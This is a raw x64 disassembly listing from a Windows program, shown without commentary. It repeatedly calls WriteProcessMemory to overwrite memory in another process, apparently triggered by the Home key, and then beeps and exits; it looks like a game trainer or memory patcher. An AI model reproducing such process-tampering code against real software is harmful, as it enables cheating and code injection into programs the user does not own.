mov rdi, qword [0x1400229f8]
cmp rdi, rsi
je 0x140016ad3
nop word [rax + rax]
mov qword [rsp + 0x20], r15
mov r9d, 8
mov r8, r14
mov rdx, qword [rdi]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add rdi, 8
cmp rdi, rsi
jne 0x140016ab0
mov r14, qword [0x1400229e0]
mov rsi, qword [0x140022ae0]
mov rdi, qword [0x140022ad8]
cmp rdi, rsi
je 0x140016b13
nop dword [rax]
mov qword [rsp + 0x20], r15
mov r9d, 8
mov r8, r14
mov rdx, qword [rdi]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add rdi, 8
cmp rdi, rsi
jne 0x140016af0
mov ecx, 0x24
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x1400169b0
mov dword [rsp + 0x28], r15d
mov r9, qword [0x1400229e8]
mov r8, qword [0x1400229c8]
lea rdx, [0x1400229f8]
mov rcx, rbx
call fcn.14000ebd0
mov dword [rsp + 0x28], r15d
mov r9, qword [0x1400229d8]
mov r8, qword [0x1400229e0]
lea rdx, [0x140022ad8]
mov rcx, rbx
call fcn.14000ebd0
mov qword [rsp + 0x20], r15
mov r9d, 0xa
lea r8, [0x14001dcb8]
mov rdx, qword [0x1400229d0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x20], r15d
mov r8, qword [0x1400229c0]
mov rdx, qword [0x1400229f0]
call fcn.14000ec80
mov edx, 0xc8
mov ecx, 0x82
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.1400135b0
call fcn.140013850
call fcn.140013ad0
call fcn.140013d50
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov dword [rbp + 0x1b8], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x1a8], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140019e60
xor eax, eax
mov rcx, qword [rbp + 0x310]
xor rcx, rsp
call fcn.140019e40
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140017e40
nop
int3